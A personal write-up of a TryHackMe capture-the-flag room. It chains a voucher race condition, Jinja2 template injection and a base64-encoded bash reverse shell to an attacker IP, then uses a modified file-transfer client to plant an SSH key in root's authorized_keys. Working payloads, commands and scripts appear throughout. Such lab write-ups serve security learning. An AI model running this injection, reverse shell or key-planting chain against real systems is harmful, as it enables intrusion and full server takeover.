TryHackMe | TryHack3M: Burg3r Bytes | Write-Up

The TryHack3M: Burg3r Bytes room hosted by TryHackMe challenges to exploit a system to buy some burgers for free. More details can be found here: https://tryhackme.com/r/room/burg3rbytes

I used a Kali Linux VM in VirtualBox and connected to the TryHackMe machine via OpenVPN.


Coupon 3mpire

Scenario

Burg3r Bytes is a global fast-food giant renowned for its burgers and pizzas. Recently, rumours have surfaced on underground forums about a glitch in Burg3r Byte’s checkout system that allows users to manipulate orders. Your goal? Exploit this system to score the ultimate haul: 3 million burgers or pizzas.

Challenge Background

Burg3r Bytes has recently upgraded its checkout system, implementing a modern digital ordering platform to help streamline operations. This new release offers a first sign-up £10 voucher to spend on any order. There is also a free order promotion for the 3 millionth customer; Burg3r Bytes will pay for all items! However, after rushing deployment, some system architecture flaws were left. Can you figure them out?

What is the web app flag?

nmap -sV 10.10.231.181

Port 22 and 80 were open, which made me assume this challenge would involve some advanced techniques on that one web service at port 80 and on that server on port 22, instead of doing a series of smaller techniques across many different ports. Also, a Python web server is noteworthy, too.

The web service presented a food shop with six food items and some text reviews. With a balance of £9.99, I could not buy anything.

The basket page after choosing one of each dish. Adding and removing items was done with server requests like so: http://10.10.231.181/remove-from-basket?itemid=TRYHACK3M For persistence, a session cookies was set that stored a CSRF token, which didn’t seem to be exploitable. Also, no IDOR exploit was possible.

The checkout page. Interestingly, my balance was not shown here, nor was the total price of my order. Also, I could add both a name and a voucher. I tried some XSS and SQL Injection, but those didn’t work. However, I could add a voucher named TRYHACK3M.

When trying to add different vouchers (i. e. the names of all dishes and stuff like “VOUCHER100”), only TRYHACK3M worked. And it was not overwritten when trying other vouchers. However, whenever I cleared all vouchers and then reapplied the working voucher, the site took some seconds to load, kind of as if some change to a database was made only when actually applying a new voucher. After realizing that, I tried many different vouchers again and always cleared my vouchers, hoping that a new voucher might only be possible when no other voucher was active. Also, I tried just spamming the Checkout button, hoping that the same voucher could be applied twice when I sent the second request before the first one was fully applied. Even though it did not work by clicking the button, it did work by simply sending the same request a second time through the browser console:

With that, I got a receipt: http://10.10.231.181/receipt/82739098304716027352341076?name=Michael. This URL stayed the same even when doing it again. Also, doing a plain GET request without a name value still showed that page, albeit with a different name as the recepient:

Again, I tried some IDOR exploit and other shenanigans that did not work. Werkzeug 3.0.2, which is used for the web service, seemed to be up to date when the challenge was created, so I didn’t really assume to find a CVE for it. However, when doing some research on general exploits for Werkzeug, I realized that maybe some kind of Remote Code Execution was possible. Perhaps through some kind of Path Traversal, Form Injection or Request Forgery. What I found was a Server Side Template Injection for the Jinja2 template engine. Information about the SSTI: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python

Entering {{7*7}} as the name confirmed that it was working:

From there, I could execute some basic commands.

There was a flag.txt and this whole service was running in a docker container. Getting the flag was easy enough using {{ cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}:

Flag: THM{TryH4ck3M-APP-H4CK}


What is the host flag?

Now, to get the host file, I assumed I would need to get some access to the server by either reading from the passwd file and cracking the password for a user, or by using a reverse shell. Using cat /etc/passwd, I got these values.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

The /etc/shadow file didn’t result in anything either. So I tried some basic reverse shell constructed with https://www.revshells.com/.

Reverse shell: /bin/bash -i >& /dev/tcp/10.11.92.2/4444 0>&1

Now, to inject in into the template, I also had to encode it using base64 and make sure it is decoded by the server. The reverse shell command in base64: L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjExLjkyLjIvNDQ0NCAwPiYx

To decode it on the server: echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjExLjkyLjIvNDQ0NCAwPiYx | base64 -d | bash

The complete URL: http://10.10.231.181/receipt/82739098304716027352341076?name={{ cycler.__init__.__globals__.os.popen('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjExLjkyLjIvNDQ0NCAwPiYx | base64 -d | bash').read() }}

To prevent some headaches later on, I upgraded the shell using this technique: https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys

python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z

stty raw -echo && fg
ls

export SHELL=/bin/bash
export TERM=screen
stty rows 38 columns 116
reset

Getting the first flag from here was also possible:

Honestly, I don’t like Privilege Escalation as it feels like mostly magic to me. I don’t really understand many of the techniques and just let some scripts like linpeas run to do the reconnaissance for me. However, I do know cronjobs and how one can hijack the script that is run by a high privilege user for example, and the Dockerfile on the target machine did include a cron job:

FROM ubuntu:20.04

RUN apt-get update -y && \
    apt-get install -y python3 python3-pip python3-dev cron vim


COPY ./requirements.txt /app/requirements.txt


WORKDIR /app

RUN echo "THM{TryH4ck3M-APP-H4CK}" >> /app/flag.txt


RUN pip install -r requirements.txt

COPY . /app

RUN chmod 644 /app/cron/client_py.py
RUN crontab /app/cron/crontab

ENTRYPOINT [ "python3" ]

CMD [ "app.py" ]

One cron job was set up to run at the 20th minute of the 3rd hour of every day. Then, the client_py.py script would be executed. The client_py.py script provided some functionality for an encrypted file transfer:

import sys                                                                                                       
import socket                                                                                                    
from Crypto.PublicKey import RSA                                                                                 
from Crypto.Cipher import PKCS1_OAEP                                                                             
from Crypto.Signature import pss                                                                                 
from Crypto.Hash import SHA256                                                                                   
import binascii
import base64

MAX_SIZE = 200

opcodes = {
    'read': 1,
    'write': 2,
    'data': 3,
    'ack': 4,
    'error': 5
}

mode_strings = ['netascii', 'octet', 'mail']

with open("client.key", "rb") as f:
    data = f.read()
    privkey = RSA.import_key(data)

with open("client.crt", "rb") as f:
    data = f.read()
    pubkey = RSA.import_key(data)

try:
    with open("server.crt", "rb") as f:
        data = f.read()
        server_pubkey = RSA.import_key(data)
except:
    server_pubkey = False

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(3.0)
server_address = (sys.argv[1], int(sys.argv[2]))

def encrypt(s, pubkey):
    cipher = PKCS1_OAEP.new(pubkey)
    return cipher.encrypt(s)

def decrypt(s, privkey):
    cipher = PKCS1_OAEP.new(privkey)
    return cipher.decrypt(s)

def send_rrq(filename, mode, signature, server):
    rrq = bytearray()
    rrq.append(0)
    rrq.append(opcodes['read'])
    rrq += bytearray(filename)
    rrq.append(0)
    rrq += bytearray(mode)
    rrq.append(0)
    rrq += bytearray(signature)
    rrq.append(0)
    sock.sendto(rrq, server)
    return True

def send_wrq(filename, mode, server):
    wrq = bytearray()
    wrq.append(0)
    wrq.append(opcodes['write'])
    wrq += bytearray(filename)
    wrq.append(0)
    wrq += bytearray(mode)
    wrq.append(0)
    sock.sendto(wrq, server)
    return True

def send_ack(block_number, server):
    if len(block_number) != 2:
        print('Error: Block number must be 2 bytes long.')
        return False
    ack = bytearray()
    ack.append(0)
    ack.append(opcodes['ack'])
    ack += bytearray(block_number)
    sock.sendto(ack, server)
    return True

def send_error(server, code, msg):
    err = bytearray()
    err.append(0)
    err.append(opcodes['error'])
    err.append(0)
    err.append(code & 0xff)
    pkt += bytearray(msg + b'\0')
    sock.sendto(pkt, server)

def send_data(server, block_num, block):
    if len(block_num) != 2:
        print('Error: Block number must be 2 bytes long.')
        return False
    pkt = bytearray()
    pkt.append(0)
    pkt.append(opcodes['data'])
    pkt += bytearray(block_num)
    pkt += bytearray(block)
    sock.sendto(pkt, server)

def get_file(filename, mode):
    h = SHA256.new(filename)
    signature = base64.b64encode(pss.new(privkey).sign(h))

    send_rrq(filename, mode, signature, server_address)
    
    file = open(filename, "wb")

    while True:
        data, server = sock.recvfrom(MAX_SIZE * 3)

        if data[1] == opcodes['error']:
            error_code = int.from_bytes(data[2:4], byteorder='big')
            print(data[4:])
            break
        send_ack(data[2:4], server)
        content = data[4:]
        content = base64.b64decode(content)
        content = decrypt(content, privkey)
        file.write(content)
        if len(content) < MAX_SIZE:
            print("file received!")
            break

def put_file(filename, mode):
    if not server_pubkey:
        print("Error: Server pubkey not configured. You won't be able to PUT")
        return

    try:
        file = open(filename, "rb")
        fdata = file.read()
        total_len = len(fdata)
    except:
        print("Error: File doesn't exist")
        return False

    send_wrq(filename, mode, server_address)
    data, server = sock.recvfrom(MAX_SIZE * 3)
    
    if data != b'\x00\x04\x00\x00': # ack 0
        print("Error: Server didn't respond with ACK to WRQ")
        return False

    block_num = 1
    while len(fdata) > 0:
        b_block_num = block_num.to_bytes(2, 'big')
        block = fdata[:MAX_SIZE]
        block = encrypt(block, server_pubkey)
        block = base64.b64encode(block)
        fdata = fdata[MAX_SIZE:]
        send_data(server, b_block_num, block)
        data, server = sock.recvfrom(MAX_SIZE * 3)
        
        if data != b'\x00\x04' + b_block_num:
            print("Error: Server sent unexpected response")
            return False

        block_num += 1

    if total_len % MAX_SIZE == 0:
        b_block_num = block_num.to_bytes(2, 'big')
        send_data(server, b_block_num, b"")
        data, server = sock.recvfrom(MAX_SIZE * 3)
        
        if data != b'\x00\x04' + b_block_num:
            print("Error: Server sent unexpected response")
            return False

    print("File sent successfully")
    return True

def main():
    filename = b'site.db'
    mode = b'netascii'

    get_file(filename, mode)
    exit(0)

if __name__ == '__main__':
    main()

Line 178 showed that a file called site.db was to be transferred when the cronjob ran. I could’ve waited for the cron job (haha), but I simply ran the python script once to get the site.db.

However, I found nothing of interest in there. It was just the voucher for the web shop.

Now, the straightforward idea was to change site.db to something like flag.txt or /etc/passwd, hoping that file would be present at the IP address provided in the cronjob. But that didn’t work. Since I could also send files (line 129) instead of just receiving them, I thought about trying another reverse shell or better yet, send some key files to be able to log into that server at 172.17.0.1. By “server at 172.17.0.1” I mean that the web service my shell was in, was inside a docker container, and that IP address was most likely pointing at either the host or another container in the same network. I assumed it was the host.

To send any file, line 130 requires a server_pupkey to be present, which is loaded in line 32, but not present on the container that I was on. I assumed the server.crt was present at 172.17.0.1 and so I changed the client_py.py to get that. To change the file, I wanted to installed and use nano, but the machine did not have access to the internet and using vim also didn’t quite work. So I had to replace the “site.db” with “server.crt” via command line using sed. Instead of doing it directly in client_py.py, I copied the contents of that file to getfile.py using cp client_py.py getfile.py. The I used this command to replace the file that would be downloaded: sed -i 's/site.db/server.crt/g' getfile.py

After running the new script, I had the server.crt.

Now I could upload my own file.

I created my own ssh key on my kali host machine using ssh-keygen -t rsa.

Then I cat‘d and echo‘d my id_rsa public key to have it on the target machine:

Now I had a RSA public key to send to the 172.17.0.1 address. I copied the contents of getfile.py into a new file called sendfile.py and replaced the file name from server.crt to “authorized_keys”.

sed -i "s/'server.crt'/'authorized_keys'/g" sendfile.py

When I wanted to replace the get_file call in the main function, I realized that line looked the same as the get_file definition on line 105. Also, the sent file would be placed at some arbitrary location, probably in the root directory of the 172.17.0.1 machine. So I had to adjust the put_file function to save the file at /root/.ssh. Since I didn’t want to do all that with sed, I just created the correct sendfile.py script on my kali host, converted in to base64, copied that over to the target and decoded it there. My sendfile.py script:

import sys
import socket
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Signature import pss
from Crypto.Hash import SHA256
import binascii
import base64

MAX_SIZE = 200

opcodes = {
    'read': 1,
    'write': 2,
    'data': 3,
    'ack': 4,
    'error': 5
}

mode_strings = ['netascii', 'octet', 'mail']

with open("client.key", "rb") as f:
    data = f.read()
    privkey = RSA.import_key(data)

with open("client.crt", "rb") as f:
    data = f.read()
    pubkey = RSA.import_key(data)

try:
    with open("server.crt", "rb") as f:
        data = f.read()
        server_pubkey = RSA.import_key(data)
except:
    server_pubkey = False

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(3.0)
server_address = (sys.argv[1], int(sys.argv[2]))

def encrypt(s, pubkey):
    cipher = PKCS1_OAEP.new(pubkey)
    return cipher.encrypt(s)

def decrypt(s, privkey):
    cipher = PKCS1_OAEP.new(privkey)
    return cipher.decrypt(s)

def send_rrq(filename, mode, signature, server):
    rrq = bytearray()
    rrq.append(0)
    rrq.append(opcodes['read'])
    rrq += bytearray(filename)
    rrq.append(0)
    rrq += bytearray(mode)
    rrq.append(0)
    rrq += bytearray(signature)
    rrq.append(0)
    sock.sendto(rrq, server)
    return True

def send_wrq(filename, mode, server):
    wrq = bytearray()
    wrq.append(0)
    wrq.append(opcodes['write'])
    wrq += bytearray(filename)
    wrq.append(0)
    wrq += bytearray(mode)
    wrq.append(0)
    print(wrq)
    sock.sendto(wrq, server)
    return True

def send_ack(block_number, server):
    if len(block_number) != 2:
        print('Error: Block number must be 2 bytes long.')
        return False
    ack = bytearray()
    ack.append(0)
    ack.append(opcodes['ack'])
    ack += bytearray(block_number)
    sock.sendto(ack, server)
    return True

def send_error(server, code, msg):
    err = bytearray()
    err.append(0)
    err.append(opcodes['error'])
    err.append(0)
    err.append(code & 0xff)
    pkt += bytearray(msg + b'\0')
    sock.sendto(pkt, server)

def send_data(server, block_num, block):
    if len(block_num) != 2:
        print('Error: Block number must be 2 bytes long.')
        return False
    pkt = bytearray()
    pkt.append(0)
    pkt.append(opcodes['data'])
    pkt += bytearray(block_num)
    pkt += bytearray(block)
    sock.sendto(pkt, server)

def get_file(filename, mode):
    h = SHA256.new(filename)
    signature = base64.b64encode(pss.new(privkey).sign(h))

    send_rrq(filename, mode, signature, server_address)
    
    file = open(filename, "wb")

    while True:
        data, server = sock.recvfrom(MAX_SIZE * 3)

        if data[1] == opcodes['error']:
            error_code = int.from_bytes(data[2:4], byteorder='big')
            print(data[4:])
            break
        send_ack(data[2:4], server)
        content = data[4:]
        content = base64.b64decode(content)
        content = decrypt(content, privkey)
        file.write(content)
        if len(content) < MAX_SIZE:
            print("file received!")
            break

def put_file(filename, mode):
    if not server_pubkey:
        print("Error: Server pubkey not configured. You won't be able to PUT")
        return

    try:
        file = open(filename, "rb")
        fdata = file.read()
        total_len = len(fdata)
    except:
        print("Error: File doesn't exist")
        return False
    filename = b'/root/.ssh/authorized_keys'
    send_wrq(filename, mode, server_address)
    data, server = sock.recvfrom(MAX_SIZE * 3)
    
    if data != b'\x00\x04\x00\x00': # ack 0
        print("Error: Server didn't respond with ACK to WRQ")
        return False

    block_num = 1
    while len(fdata) > 0:
        b_block_num = block_num.to_bytes(2, 'big')
        block = fdata[:MAX_SIZE]
        block = encrypt(block, server_pubkey)
        block = base64.b64encode(block)
        fdata = fdata[MAX_SIZE:]
        send_data(server, b_block_num, block)
        data, server = sock.recvfrom(MAX_SIZE * 3)
        
        if data != b'\x00\x04' + b_block_num:
            print("Error: Server sent unexpected response")
            return False

        block_num += 1

    if total_len % MAX_SIZE == 0:
        b_block_num = block_num.to_bytes(2, 'big')
        send_data(server, b_block_num, b"")
        data, server = sock.recvfrom(MAX_SIZE * 3)
        
        if data != b'\x00\x04' + b_block_num:
            print("Error: Server sent unexpected response")
            return False

    print("File sent successfully")
    return True

def main():
    filename = b'authorized_keys'
    mode = b'netascii'

    put_file(filename, mode)
    exit(0)

if __name__ == '__main__':
    main()

The command to create the sendfile.py:

echo aW1wb3J0IHN5cwppbXBvcnQgc29ja2V0CmZyb20gQ3J5cHRvLlB1YmxpY0tleSBpbXBvcnQgUlNBCmZyb20gQ3J5cHRvLkNpcGhlciBpbXBvcnQgUEtDUzFfT0FFUApmcm9tIENyeXB0by5TaWduYXR1cmUgaW1wb3J0IHBzcwpmcm9tIENyeXB0by5IYXNoIGltcG9ydCBTSEEyNTYKaW1wb3J0IGJpbmFzY2lpCmltcG9ydCBiYXNlNjQKCk1BWF9TSVpFID0gMjAwCgpvcGNvZGVzID0gewogICAgJ3JlYWQnOiAxLAogICAgJ3dyaXRlJzogMiwKICAgICdkYXRhJzogMywKICAgICdhY2snOiA0LAogICAgJ2Vycm9yJzogNQp9Cgptb2RlX3N0cmluZ3MgPSBbJ25ldGFzY2lpJywgJ29jdGV0JywgJ21haWwnXQoKd2l0aCBvcGVuKCJjbGllbnQua2V5IiwgInJiIikgYXMgZjoKICAgIGRhdGEgPSBmLnJlYWQoKQogICAgcHJpdmtleSA9IFJTQS5pbXBvcnRfa2V5KGRhdGEpCgp3aXRoIG9wZW4oImNsaWVudC5jcnQiLCAicmIiKSBhcyBmOgogICAgZGF0YSA9IGYucmVhZCgpCiAgICBwdWJrZXkgPSBSU0EuaW1wb3J0X2tleShkYXRhKQoKdHJ5OgogICAgd2l0aCBvcGVuKCJzZXJ2ZXIuY3J0IiwgInJiIikgYXMgZjoKICAgICAgICBkYXRhID0gZi5yZWFkKCkKICAgICAgICBzZXJ2ZXJfcHVia2V5ID0gUlNBLmltcG9ydF9rZXkoZGF0YSkKZXhjZXB0OgogICAgc2VydmVyX3B1YmtleSA9IEZhbHNlCgpzb2NrID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfREdSQU0pCnNvY2suc2V0dGltZW91dCgzLjApCnNlcnZlcl9hZGRyZXNzID0gKHN5cy5hcmd2WzFdLCBpbnQoc3lzLmFyZ3ZbMl0pKQoKZGVmIGVuY3J5cHQocywgcHVia2V5KToKICAgIGNpcGhlciA9IFBLQ1MxX09BRVAubmV3KHB1YmtleSkKICAgIHJldHVybiBjaXBoZXIuZW5jcnlwdChzKQoKZGVmIGRlY3J5cHQocywgcHJpdmtleSk6CiAgICBjaXBoZXIgPSBQS0NTMV9PQUVQLm5ldyhwcml2a2V5KQogICAgcmV0dXJuIGNpcGhlci5kZWNyeXB0KHMpCgpkZWYgc2VuZF9ycnEoZmlsZW5hbWUsIG1vZGUsIHNpZ25hdHVyZSwgc2VydmVyKToKICAgIHJycSA9IGJ5dGVhcnJheSgpCiAgICBycnEuYXBwZW5kKDApCiAgICBycnEuYXBwZW5kKG9wY29kZXNbJ3JlYWQnXSkKICAgIHJycSArPSBieXRlYXJyYXkoZmlsZW5hbWUpCiAgICBycnEuYXBwZW5kKDApCiAgICBycnEgKz0gYnl0ZWFycmF5KG1vZGUpCiAgICBycnEuYXBwZW5kKDApCiAgICBycnEgKz0gYnl0ZWFycmF5KHNpZ25hdHVyZSkKICAgIHJycS5hcHBlbmQoMCkKICAgIHNvY2suc2VuZHRvKHJycSwgc2VydmVyKQogICAgcmV0dXJuIFRydWUKCmRlZiBzZW5kX3dycShmaWxlbmFtZSwgbW9kZSwgc2VydmVyKToKICAgIHdycSA9IGJ5dGVhcnJheSgpCiAgICB3cnEuYXBwZW5kKDApCiAgICB3cnEuYXBwZW5kKG9wY29kZXNbJ3dyaXRlJ10pCiAgICB3cnEgKz0gYnl0ZWFycmF5KGZpbGVuYW1lKQogICAgd3JxLmFwcGVuZCgwKQogICAgd3JxICs9IGJ5dGVhcnJheShtb2RlKQogICAgd3JxLmFwcGVuZCgwKQogICAgcHJpbnQod3JxKQogICAgc29jay5zZW5kdG8od3JxLCBzZXJ2ZXIpCiAgICByZXR1cm4gVHJ1ZQoKZGVmIHNlbmRfYWNrKGJsb2NrX251bWJlciwgc2VydmVyKToKICAgIGlmIGxlbihibG9ja19udW1iZXIpICE9IDI6CiAgICAgICAgcHJpbnQoJ0Vycm9yOiBCbG9jayBudW1iZXIgbXVzdCBiZSAyIGJ5dGVzIGxvbmcuJykKICAgICAgICByZXR1cm4gRmFsc2UKICAgIGFjayA9IGJ5dGVhcnJheSgpCiAgICBhY2suYXBwZW5kKDApCiAgICBhY2suYXBwZW5kKG9wY29kZXNbJ2FjayddKQogICAgYWNrICs9IGJ5dGVhcnJheShibG9ja19udW1iZXIpCiAgICBzb2NrLnNlbmR0byhhY2ssIHNlcnZlcikKICAgIHJldHVybiBUcnVlCgpkZWYgc2VuZF9lcnJvcihzZXJ2ZXIsIGNvZGUsIG1zZyk6CiAgICBlcnIgPSBieXRlYXJyYXkoKQogICAgZXJyLmFwcGVuZCgwKQogICAgZXJyLmFwcGVuZChvcGNvZGVzWydlcnJvciddKQogICAgZXJyLmFwcGVuZCgwKQogICAgZXJyLmFwcGVuZChjb2RlICYgMHhmZikKICAgIHBrdCArPSBieXRlYXJyYXkobXNnICsgYidcMCcpCiAgICBzb2NrLnNlbmR0byhwa3QsIHNlcnZlcikKCmRlZiBzZW5kX2RhdGEoc2VydmVyLCBibG9ja19udW0sIGJsb2NrKToKICAgIGlmIGxlbihibG9ja19udW0pICE9IDI6CiAgICAgICAgcHJpbnQoJ0Vycm9yOiBCbG9jayBudW1iZXIgbXVzdCBiZSAyIGJ5dGVzIGxvbmcuJykKICAgICAgICByZXR1cm4gRmFsc2UKICAgIHBrdCA9IGJ5dGVhcnJheSgpCiAgICBwa3QuYXBwZW5kKDApCiAgICBwa3QuYXBwZW5kKG9wY29kZXNbJ2RhdGEnXSkKICAgIHBrdCArPSBieXRlYXJyYXkoYmxvY2tfbnVtKQogICAgcGt0ICs9IGJ5dGVhcnJheShibG9jaykKICAgIHNvY2suc2VuZHRvKHBrdCwgc2VydmVyKQoKZGVmIGdldF9maWxlKGZpbGVuYW1lLCBtb2RlKToKICAgIGggPSBTSEEyNTYubmV3KGZpbGVuYW1lKQogICAgc2lnbmF0dXJlID0gYmFzZTY0LmI2NGVuY29kZShwc3MubmV3KHByaXZrZXkpLnNpZ24oaCkpCgogICAgc2VuZF9ycnEoZmlsZW5hbWUsIG1vZGUsIHNpZ25hdHVyZSwgc2VydmVyX2FkZHJlc3MpCiAgICAKICAgIGZpbGUgPSBvcGVuKGZpbGVuYW1lLCAid2IiKQoKICAgIHdoaWxlIFRydWU6CiAgICAgICAgZGF0YSwgc2VydmVyID0gc29jay5yZWN2ZnJvbShNQVhfU0laRSAqIDMpCgogICAgICAgIGlmIGRhdGFbMV0gPT0gb3Bjb2Rlc1snZXJyb3InXToKICAgICAgICAgICAgZXJyb3JfY29kZSA9IGludC5mcm9tX2J5dGVzKGRhdGFbMjo0XSwgYnl0ZW9yZGVyPSdiaWcnKQogICAgICAgICAgICBwcmludChkYXRhWzQ6XSkKICAgICAgICAgICAgYnJlYWsKICAgICAgICBzZW5kX2FjayhkYXRhWzI6NF0sIHNlcnZlcikKICAgICAgICBjb250ZW50ID0gZGF0YVs0Ol0KICAgICAgICBjb250ZW50ID0gYmFzZTY0LmI2NGRlY29kZShjb250ZW50KQogICAgICAgIGNvbnRlbnQgPSBkZWNyeXB0KGNvbnRlbnQsIHByaXZrZXkpCiAgICAgICAgZmlsZS53cml0ZShjb250ZW50KQogICAgICAgIGlmIGxlbihjb250ZW50KSA8IE1BWF9TSVpFOgogICAgICAgICAgICBwcmludCgiZmlsZSByZWNlaXZlZCEiKQogICAgICAgICAgICBicmVhawoKZGVmIHB1dF9maWxlKGZpbGVuYW1lLCBtb2RlKToKICAgIGlmIG5vdCBzZXJ2ZXJfcHVia2V5OgogICAgICAgIHByaW50KCJFcnJvcjogU2VydmVyIHB1YmtleSBub3QgY29uZmlndXJlZC4gWW91IHdvbid0IGJlIGFibGUgdG8gUFVUIikKICAgICAgICByZXR1cm4KCiAgICB0cnk6CiAgICAgICAgZmlsZSA9IG9wZW4oZmlsZW5hbWUsICJyYiIpCiAgICAgICAgZmRhdGEgPSBmaWxlLnJlYWQoKQogICAgICAgIHRvdGFsX2xlbiA9IGxlbihmZGF0YSkKICAgIGV4Y2VwdDoKICAgICAgICBwcmludCgiRXJyb3I6IEZpbGUgZG9lc24ndCBleGlzdCIpCiAgICAgICAgcmV0dXJuIEZhbHNlCiAgICBmaWxlbmFtZSA9IGInL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMnCiAgICBzZW5kX3dycShmaWxlbmFtZSwgbW9kZSwgc2VydmVyX2FkZHJlc3MpCiAgICBkYXRhLCBzZXJ2ZXIgPSBzb2NrLnJlY3Zmcm9tKE1BWF9TSVpFICogMykKICAgIAogICAgaWYgZGF0YSAhPSBiJ1x4MDBceDA0XHgwMFx4MDAnOiAjIGFjayAwCiAgICAgICAgcHJpbnQoIkVycm9yOiBTZXJ2ZXIgZGlkbid0IHJlc3BvbmQgd2l0aCBBQ0sgdG8gV1JRIikKICAgICAgICByZXR1cm4gRmFsc2UKCiAgICBibG9ja19udW0gPSAxCiAgICB3aGlsZSBsZW4oZmRhdGEpID4gMDoKICAgICAgICBiX2Jsb2NrX251bSA9IGJsb2NrX251bS50b19ieXRlcygyLCAnYmlnJykKICAgICAgICBibG9jayA9IGZkYXRhWzpNQVhfU0laRV0KICAgICAgICBibG9jayA9IGVuY3J5cHQoYmxvY2ssIHNlcnZlcl9wdWJrZXkpCiAgICAgICAgYmxvY2sgPSBiYXNlNjQuYjY0ZW5jb2RlKGJsb2NrKQogICAgICAgIGZkYXRhID0gZmRhdGFbTUFYX1NJWkU6XQogICAgICAgIHNlbmRfZGF0YShzZXJ2ZXIsIGJfYmxvY2tfbnVtLCBibG9jaykKICAgICAgICBkYXRhLCBzZXJ2ZXIgPSBzb2NrLnJlY3Zmcm9tKE1BWF9TSVpFICogMykKICAgICAgICAKICAgICAgICBpZiBkYXRhICE9IGInXHgwMFx4MDQnICsgYl9ibG9ja19udW06CiAgICAgICAgICAgIHByaW50KCJFcnJvcjogU2VydmVyIHNlbnQgdW5leHBlY3RlZCByZXNwb25zZSIpCiAgICAgICAgICAgIHJldHVybiBGYWxzZQoKICAgICAgICBibG9ja19udW0gKz0gMQoKICAgIGlmIHRvdGFsX2xlbiAlIE1BWF9TSVpFID09IDA6CiAgICAgICAgYl9ibG9ja19udW0gPSBibG9ja19udW0udG9fYnl0ZXMoMiwgJ2JpZycpCiAgICAgICAgc2VuZF9kYXRhKHNlcnZlciwgYl9ibG9ja19udW0sIGIiIikKICAgICAgICBkYXRhLCBzZXJ2ZXIgPSBzb2NrLnJlY3Zmcm9tKE1BWF9TSVpFICogMykKICAgICAgICAKICAgICAgICBpZiBkYXRhICE9IGInXHgwMFx4MDQnICsgYl9ibG9ja19udW06CiAgICAgICAgICAgIHByaW50KCJFcnJvcjogU2VydmVyIHNlbnQgdW5leHBlY3RlZCByZXNwb25zZSIpCiAgICAgICAgICAgIHJldHVybiBGYWxzZQoKICAgIHByaW50KCJGaWxlIHNlbnQgc3VjY2Vzc2Z1bGx5IikKICAgIHJldHVybiBUcnVlCgpkZWYgbWFpbigpOgogICAgZmlsZW5hbWUgPSBiJ2F1dGhvcml6ZWRfa2V5cycKICAgIG1vZGUgPSBiJ25ldGFzY2lpJwoKICAgIHB1dF9maWxlKGZpbGVuYW1lLCBtb2RlKQogICAgZXhpdCgwKQoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIG1haW4oKQo= | base64 -d > sendfile.py

Then I ran the script and apparently, the file was sent successfully:

Then I could log into the target machine as the root user: ssh -i id_rsa root@10.10.231.181

The flag was immediately present in the root directory, albeit not in a file called flag.txt.

Also, I just for fun, the first flag could also be found here:

Interestingly, the app.py file actually contained a time.sleep(2) line for the voucher.

Flag: THM{Try4ck3M-TFTP-FUN}


That concludes this CTF. That was actually quite the challenge. I really had to try many different things and do a lot of research. Also, I struggled with the shell more than I would’ve liked, but base64 is just awesome to help with problems like these.